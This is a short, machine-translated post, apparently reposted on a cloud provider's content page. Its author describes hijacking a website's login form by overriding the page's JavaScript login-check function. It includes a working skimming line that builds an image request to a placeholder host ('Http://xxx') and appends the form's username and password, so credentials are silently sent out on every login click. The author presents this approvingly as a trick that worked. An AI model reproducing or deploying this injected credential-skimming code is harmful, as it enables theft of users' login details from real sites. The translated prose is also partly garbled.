JS Code alternative Hijacking login Form

Source: Internet
Author: User

Where is the alternative? Alternative in the page comes with an external JS, hijack login This function, and I just can modify it under a JS (the only one, and is obsolete).

That JS inside the code with jquery, and then load the page itself to the function login to replace the function.

=========

My permission: Can modify the external JS under a JS, fate ah, but I can do so.

--------------------------

I js very vegetables, now this situation, incredibly can also play a bit, I can control the JS content completely copy the external JS,

Because my JS than the external JS after the load, so I in the inside of the modified function is really called the one.

Do you remember? The external JS hijacked the Web page login This function (call with its own a function to replace the login functions, they do have some other purposes, it is convenient for me to copy), this function is used to check the form user name password is not filled.

Great, now my JS's a function is the real replacement of the login function, so a function add a sentence (new Image ()). src= ' Http://xxx ' +document.loginform.yh+ DOCUMENT.LOGINFORM.MM;

Oh,yeh, click the login button, the user name password is quietly sent.


JS Code alternative Hijacking login Form

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.